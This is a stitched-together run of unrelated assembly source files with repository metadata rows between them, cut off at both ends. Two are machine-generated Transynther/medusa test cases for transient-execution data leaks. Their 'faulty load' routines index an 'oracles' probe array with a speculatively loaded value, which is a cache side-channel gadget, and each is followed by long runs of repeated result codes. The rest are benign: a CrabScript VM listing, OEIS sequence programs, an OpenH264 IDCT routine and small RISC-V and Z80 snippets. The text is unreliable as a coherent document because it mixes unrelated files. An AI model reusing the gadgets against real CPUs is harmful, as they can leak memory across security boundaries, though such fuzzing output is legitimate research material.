{'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 32.146825 | 2,999 | 0.656092 |
7e3af91e591832aaadd4979e3a041b24b3b33260 | 6,795 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1908_567.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1908_567.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_sm_/i3-7100_9_0x84_notsx.log_1908_567.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %rcx
push %rdx
push %rsi
lea addresses_D_ht+0x8514, %r10
nop
nop
xor %rcx, %rcx
movb (%r10), %r11b
nop
nop
nop
nop
nop
cmp $49527, %r14
lea addresses_WC_ht+0x17b14, %rsi
clflush (%rsi)
and %rdx, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
sub %r11, %r11
lea addresses_normal_ht+0x1b3ae, %rdx
clflush (%rdx)
nop
xor $62895, %r10
movl $0x61626364, (%rdx)
dec %r10
lea addresses_UC_ht+0x10314, %r11
nop
nop
nop
nop
nop
add %r15, %r15
movl $0x61626364, (%r11)
nop
nop
nop
nop
add %rsi, %rsi
pop %rsi
pop %rdx
pop %rcx
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r13
push %r14
push %rax
push %rbx
push %rsi
// Store
mov $0xaf4, %r10
nop
nop
and $55353, %rsi
mov $0x5152535455565758, %r12
movq %r12, %xmm2
vmovups %ymm2, (%r10)
nop
nop
sub %rax, %rax
// Store
lea addresses_WC+0x6580, %rsi
nop
nop
nop
nop
nop
sub $38452, %rbx
mov $0x5152535455565758, %r12
movq %r12, %xmm5
movups %xmm5, (%rsi)
add $35540, %r12
// Store
lea addresses_A+0x4f14, %r12
and $40220, %rsi
movb $0x51, (%r12)
nop
add %r12, %r12
// Load
lea addresses_UC+0x13114, %rsi
xor %r14, %r14
mov (%rsi), %r12w
nop
nop
nop
nop
xor %r12, %r12
// Store
lea addresses_A+0x4f14, %rsi
nop
nop
cmp %r14, %r14
movw $0x5152, (%rsi)
nop
nop
nop
nop
nop
and $32672, %r12
// Store
lea addresses_D+0xaf14, %rbx
add %r12, %r12
movl $0x51525354, (%rbx)
nop
nop
nop
nop
nop
and %rsi, %rsi
// Load
lea addresses_A+0xdb14, %r10
nop
nop
nop
nop
nop
and %rsi, %rsi
mov (%r10), %r14w
nop
sub $37381, %rsi
// Load
lea addresses_WC+0x12d14, %r12
and $58092, %rbx
mov (%r12), %eax
nop
nop
sub %rsi, %rsi
// Faulty Load
lea addresses_A+0x4f14, %r12
clflush (%r12)
nop
nop
nop
nop
nop
xor $38838, %r10
mov (%r12), %r13d
lea oracles, %r14
and $0xff, %r13
shlq $12, %r13
mov (%r14,%r13,1), %r13
pop %rsi
pop %rbx
pop %rax
pop %r14
pop %r13
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_P', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': True, 'size': 2, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 4, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'54': 1908}
54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54 54
*/
| 33.80597 | 2,999 | 0.649154 |
8d7546e9d8f068282cffc7decf70e48dbf13e7bc | 1,916 | asm | Assembly | CrabVMS/Demo/Build/EX07_Api_Demo.asm | aleyn/MiCO_Demo | 0f17a779646d197d8cd2521ab7d0a4c77050ae39 | [
"MIT"
] | null | null | null | CrabVMS/Demo/Build/EX07_Api_Demo.asm | aleyn/MiCO_Demo | 0f17a779646d197d8cd2521ab7d0a4c77050ae39 | [
"MIT"
] | null | null | null | CrabVMS/Demo/Build/EX07_Api_Demo.asm | aleyn/MiCO_Demo | 0f17a779646d197d8cd2521ab7d0a4c77050ae39 | [
"MIT"
] | null | null | null | ;Generate by CrabScript v3.0
;Compile Mode: 3
;main
{$D 333, 337}
::main::
{$N 'main', 'P', 0}
{$N 'main', 'L', 1}
{$V 'Value1', $000000, 'N', 4, 0}
FUNC <main>
VAR #P, 0
VAR #L, 4
{$A True}
;PrintLn('=== Custom API Demo ===')
{$D 360, 394}
VAR #F, 5
TYPE #W, (S:01)
ADDR #D, <@DATA.1> ;'=== Custom API Demo ==='
READ #V, #W, #D
BASE #M, #F
SEEK #M, $0001 ;Text
TYPE #W, (S:04)
SAVE #M, #W, #V ;PrintLn[1]:Text
TYPE #W, (V:01)
CAPI [&000006] ;PrintLn
::main.1.Text::
BASE #M, #F
SEEK #M, $0001 ;Text
TYPE #W, (S:04)
DEL #M, #W
FREE #F
;int Value1;
{$D 401, 412}
;Board.LED1 = LED_RED;
{$D 418, 439}
GET #Q, 2 ;LED_RED
TYPE #W, (U:01)
PORT #D, $0001 ;Board.LED1
EXTN #D, $0029 ;setLED
WPOR #D, #W, #Q
;Value1 = MyAPIFunc(1,2);
{$D 482, 506}
VAR #F, 12
GET #V, 1
BASE #M, #F
SEEK #M, $0004 ;Param1
TYPE #W, (N:04)
SAVE #M, #W, #V ;MyAPIFunc[1]:Param1
GET #V, 2
BASE #M, #F
SEEK #M, $0008 ;Param2
TYPE #W, (N:04)
SAVE #M, #W, #V ;MyAPIFunc[2]:Param2
TYPE #W, (N:04)
CAPI [&000046] ;MyAPIFunc
BASE #M, #F
SEEK #M, $0000 ;Result
TYPE #W, (N:04)
LOAD #Q, #W, #M
FREE #F
BASE #M, #L
SEEK #M, $0000 ;Value1
TYPE #W, (N:04)
SAVE #M, #W, #Q
;PrintLn("Result = " # Value1)
{$D 528, 557}
VAR #F, 5
TYPE #W, (S:01)
ADDR #D, <@DATA.2> ;"Result = "
READ #V, #W, #D
BASE #M, #L
SEEK #M, $0000 ;Value1
TYPE #W, (N:04)
LOAD #X, #W, #M
STRA #V, #X
BASE #M, #F
SEEK #M, $0001 ;Text
TYPE #W, (S:04)
SAVE #M, #W, #V ;PrintLn[1]:Text
TYPE #W, (V:01)
CAPI [&000006] ;PrintLn
::main.4.Text::
BASE #M, #F
SEEK #M, $0001 ;Text
TYPE #W, (S:04)
DEL #M, #W
FREE #F
;Board.LED1 = LED_OFF;
{$D 564, 585}
GET #Q, 0 ;LED_OFF
TYPE #W, (U:01)
PORT #D, $0001 ;Board.LED1
EXTN #D, $0029 ;setLED
WPOR #D, #W, #Q
{$D 587, 588}
::main.@::
{$A False}
INTR $0000
FREE #L
FREE #P
JMP <@CRABSCRIPT.@>
| 18.970297 | 47 | 0.51618 |
ba21332fde1fac0a20cf6563858f39932858c2cc | 28 | asm | Assembly | src/test/fixtures/inc.asm | nrkn/momo-vm | b0d8673e1585b0b277d594196addaecd4bdb13b1 | [
"MIT"
] | 1 | 2018-04-13T10:18:56.000Z | 2018-04-13T10:18:56.000Z | src/test/fixtures/inc.asm | nrkn/momo-vm | b0d8673e1585b0b277d594196addaecd4bdb13b1 | [
"MIT"
] | null | null | null | src/test/fixtures/inc.asm | nrkn/momo-vm | b0d8673e1585b0b277d594196addaecd4bdb13b1 | [
"MIT"
] | null | null | null | prog 1 1
add 0 1
inc 0
inc 0 | 7 | 8 | 0.678571 |
4e4f01cd36bc828f7e05699c560284eccbe5e056 | 407 | asm | Assembly | programs/oeis/332/A332162.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/332/A332162.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/332/A332162.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A332162: a(n) = 6*(10^(2*n+1)-1)/9 - 4*10^n.
; 2,626,66266,6662666,666626666,66666266666,6666662666666,666666626666666,66666666266666666,6666666662666666666,666666666626666666666,66666666666266666666666,6666666666662666666666666,666666666666626666666666666,66666666666666266666666666666,6666666666666662666666666666666
seq $0,177108 ; a(n) = 4*(10^n-3).
mul $0,2
pow $0,2
sub $0,3136
div $0,960
add $0,2
| 40.7 | 273 | 0.796069 |
00ce2cf9f490eb3f41e094af50a3f00d04aceb96 | 3,810 | asm | Assembly | codec/decoder/core/asm/dct.asm | TechSmith/openh264 | 5d616714c4cdd30287e2c6a8aa485c2fc6c68b84 | [
"BSD-2-Clause"
] | 1 | 2016-12-06T07:56:36.000Z | 2016-12-06T07:56:36.000Z | codec/decoder/core/asm/dct.asm | 3990995/openh264 | f2aa3c75ae8a3d41ef85be739752d3f189c7eea3 | [
"BSD-2-Clause"
] | null | null | null | codec/decoder/core/asm/dct.asm | 3990995/openh264 | f2aa3c75ae8a3d41ef85be739752d3f189c7eea3 | [
"BSD-2-Clause"
] | null | null | null | ;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* ?Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* ?Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* dct.asm
;*
;* Abstract
;* WelsDctFourT4_sse2
;*
;* History
;* 8/4/2009 Created
;*
;*
;*************************************************************************/
%include "asm_inc.asm"
BITS 32
;*******************************************************************************
; Macros and other preprocessor constants
;*******************************************************************************
%macro MMX_SumSubDiv2 3
movq %3, %2
psraw %3, $1
paddw %3, %1
psraw %1, $1
psubw %1, %2
%endmacro
%macro MMX_SumSub 3
movq %3, %2
psubw %2, %1
paddw %1, %3
%endmacro
%macro MMX_IDCT 6
MMX_SumSub %4, %5, %6
MMX_SumSubDiv2 %3, %2, %1
MMX_SumSub %1, %4, %6
MMX_SumSub %3, %5, %6
%endmacro
%macro MMX_StoreDiff4P 5
movd %2, %5
punpcklbw %2, %4
paddw %1, %3
psraw %1, $6
paddsw %1, %2
packuswb %1, %2
movd %5, %1
%endmacro
;*******************************************************************************
; Code
;*******************************************************************************
SECTION .text
WELS_EXTERN IdctResAddPred_mmx
ALIGN 16
;*******************************************************************************
; void_t __cdecl IdctResAddPred_mmx( uint8_t *pPred, const int32_t kiStride, int16_t *pRs )
;*******************************************************************************
IdctResAddPred_mmx:
%define pushsize 0
%define pPred esp+pushsize+4
%define kiStride esp+pushsize+8
%define pRs esp+pushsize+12
mov eax, [pRs ]
mov edx, [pPred ]
mov ecx, [kiStride]
movq mm0, [eax+ 0]
movq mm1, [eax+ 8]
movq mm2, [eax+16]
movq mm3, [eax+24]
MMX_Trans4x4W mm0, mm1, mm2, mm3, mm4
MMX_IDCT mm1, mm2, mm3, mm4, mm0, mm6
MMX_Trans4x4W mm1, mm3, mm0, mm4, mm2
MMX_IDCT mm3, mm0, mm4, mm2, mm1, mm6
WELS_Zero mm7
WELS_DW32 mm6
MMX_StoreDiff4P mm3, mm0, mm6, mm7, [edx]
MMX_StoreDiff4P mm4, mm0, mm6, mm7, [edx+ecx]
lea edx, [edx+2*ecx]
MMX_StoreDiff4P mm1, mm0, mm6, mm7, [edx]
MMX_StoreDiff4P mm2, mm0, mm6, mm7, [edx+ecx]
%undef pushsize
%undef pPred
%undef kiStride
%undef pRs
emms
ret
| 29.307692 | 93 | 0.543045 |
2e00b26bc5b809b524fba61ac234677ed46709c3 | 324 | asm | Assembly | programs/oeis/176/A176582.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/176/A176582.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/176/A176582.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A176582: n^2+Largest cube, (Largest cube <= n^2).
; 0,2,5,17,24,33,63,76,128,145,164,185,269,294,321,441,472,505,540,704,743,784,827,1041,1088,1137,1188,1458,1513,1570,1629,1690,2024,2089,2156,2225,2296,2700,2775,2852,2931,3012,3492,3577,3664,3753,3844,4406
pow $0,2
mov $1,$0
seq $1,48762 ; Largest cube <= n.
add $0,$1
| 40.5 | 207 | 0.700617 |
6393aafd85a3b44919f32a55b6508bd3f40afc50 | 496 | asm | Assembly | programs/oeis/008/A008806.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/008/A008806.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/008/A008806.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A008806: Expansion of (1+x^3)/((1-x^2)^2*(1-x^3)).
; 1,0,2,2,3,4,6,6,9,10,12,14,17,18,22,24,27,30,34,36,41,44,48,52,57,60,66,70,75,80,86,90,97,102,108,114,121,126,134,140,147,154,162,168,177,184,192,200,209,216,226,234,243,252,262,270,281,290,300,310,321,330,342,352,363,374,386,396,409,420,432,444,457,468,482,494,507,520,534,546,561,574,588,602,617,630,646,660,675,690,706,720,737,752,768,784,801,816,834,850
add $0,1
lpb $0
add $2,$0
sub $0,2
lpe
div $2,3
add $1,$2
add $1,$0
mov $0,$1
| 38.153846 | 359 | 0.66129 |
8b669060a76514c132b04328ee97694064b30f32 | 249 | asm | Assembly | test.asm | jedbrooke/RISCV-CPU | b5d9342f0437a66d8da30dbb35a603aba515825b | [
"MIT"
] | null | null | null | test.asm | jedbrooke/RISCV-CPU | b5d9342f0437a66d8da30dbb35a603aba515825b | [
"MIT"
] | null | null | null | test.asm | jedbrooke/RISCV-CPU | b5d9342f0437a66d8da30dbb35a603aba515825b | [
"MIT"
] | null | null | null | addi x9, x0, 0
addi x10, x0, 800
addi x11, x0, 1600
addi x1, x0, 100
beq x1, x0, 44
lw x2, 0(x9)
lw x3, 0(x10)
addi x9, x9, 8
addi x10, x10, 8
add x4, x2, x3
slli x4, x4, 4
sw x4,0(x11)
addi x11, x11, 8
addi x1, x1, -1
jal x0, -40
addi x20, x0, 100
| 14.647059 | 18 | 0.618474 |
86b8cc2473181b70b9f466b62b4c7589c85a9c46 | 208 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_execcmd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_execcmd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sdcc_iy/esx_m_execcmd.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ; uint16_t esx_m_execcmd(unsigned char *cmdline)
SECTION code_esxdos
PUBLIC _esx_m_execcmd
EXTERN asm_esx_m_execcmd
_esx_m_execcmd:
pop af
pop hl
push hl
push af
jp asm_esx_m_execcmd
| 11.555556 | 48 | 0.75 |
4cb6040171f00307083c8d675ff338ac794a331f | 1,797 | asm | Assembly | extra.asm | picosonic/bbm | f3d8e3f7bedd36f6156bf8bc87068cc17800b41d | [
"MIT"
] | 4 | 2020-09-16T12:05:50.000Z | 2021-06-22T23:37:29.000Z | extra.asm | picosonic/bbm | f3d8e3f7bedd36f6156bf8bc87068cc17800b41d | [
"MIT"
] | null | null | null | extra.asm | picosonic/bbm | f3d8e3f7bedd36f6156bf8bc87068cc17800b41d | [
"MIT"
] | null | null | null | ; Extra data
; Horizontal flip look up table
.flip_lut
EQUB &00, &08, &04, &0c, &02, &0a, &06, &0e, &01, &09, &05, &0d, &03, &0b, &07, &0f
EQUB &80, &88, &84, &8c, &82, &8a, &86, &8e, &81, &89, &85, &8d, &83, &8b, &87, &8f
